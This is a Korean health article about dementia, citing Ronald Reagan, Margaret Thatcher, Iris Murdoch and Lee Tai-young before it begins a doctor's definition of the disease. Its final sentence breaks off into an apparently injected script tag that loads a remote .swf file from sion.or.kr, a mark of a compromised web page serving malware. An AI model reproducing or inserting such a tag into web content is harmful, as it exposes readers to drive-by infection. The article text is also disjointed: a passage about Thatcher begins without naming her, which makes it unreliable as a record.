누구도 예외일 수 없는 치매의 원인과 예방법은 무엇일까?
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미국 대통령도, 영국 총리도 피해갈 수 없었던 것이 치매다. 이 병은 환자 본인이 황폐해지는 것은 물론 가족까지 고통의 늪에 빠지게 한다. 누구도 예외일 수 없는 치매의 원인과 예방법은 무엇일까?
“불행하게도 내가 앓는 알츠하이머가 점차 심해지면 가족이 힘든 고통을 겪을 것입니다. 나는 아내 낸시를 이 고통스러운 경험에서 구할 수 있는 어떤 방법이 있기를 바랍니다. 그 때가 오면 여러분의 도움으로 그녀는 믿음과 용기를 가지고 굳게 맞설 것이라고 믿습니다.”
1994년 11월 전 미국 대통령 로널드 레이건이 알츠하이머 진단을 받은 후 발표한 담화문의 일부다. 레이건 대통령은 냉전 중인 국제체제에서 미국의 위상을 급부상시킨 인물이다. 미국경제의 호황을 주도해 미국인들의 사랑을 가장 많이 받은 대통령이기도 했다. 그러나 퇴임 5년 후인 1994년 뇌 퇴행성 질환의 하나인 알츠하이머에 걸려 자신의 투병 사실을 공개했다.
이후 그는 아내인 낸시와 함께 로널드낸시레이건연구소를 창설해 알츠하이머 질환 관련 연구를 적극적으로 지원했다. 레이건은 이후 10년간의 투병생활 끝에 2004년 93세의 나이로 숨졌다. 레이건 대통령의 아들 론 레이건도 아버지의 뜻을 이어받아 알츠하이머 질환 치료를 위해 적극적인 활동을 펼치고 있다. 지난 4월 그는 한국을 방문해 국내 치매 환자들을 대상으로 강연하기도 했다.
원인질환 치료하면 완치도 가능
그는 남편이 사망한 사실을 잊은 채 계속 묻는가 하면 말이 끝날 때쯤 벌써 어떤 문장으로 말을 시작했는지 잊어버리는 등 증세가 점점 악화하고 있다. 대처는 1982년의 포클랜드전쟁과 1990년대 중반에 일어난 보스니아전쟁을 혼동할 정도라고 가족들은 전한다. 평생 언어를 연구하고 그 속에서 사유하던 철학자 역시 치매의 공포에서 벗어날 수 없었다. 20세기 영국 최고의 지성이었던 아이리스 머독도 3년 동안 치매를 앓다 1999년 사망했던 것.
머독은 영국 최고의 철학자이자 베스트셀러 작가였다. 2002년 그를 주인공으로 한 영화 <아이리스>가 국내에서 개봉돼 화제가 되기도 했다. 유명인 치매는 국내에서도 예외가 아니다. 한국 최초의 여성 변호사인 이태영 박사도 말년에 알츠하이머 형 치매로 고통 받다 82세가 되던 1998년 사망했다. 유명인들도 결코 피해갈 수 없는 치매란 어떤 병일까?
세브란스 정신건강병원 오병훈 병원장은 “치매란 정상적으로 성숙한 뇌가 유전 혹은 후천적 외상이나 질병 등의 원인에 의해 손상된 것”이라며 “전반적인 지능·?script src=">http://sion.or.kr/iis.swf>
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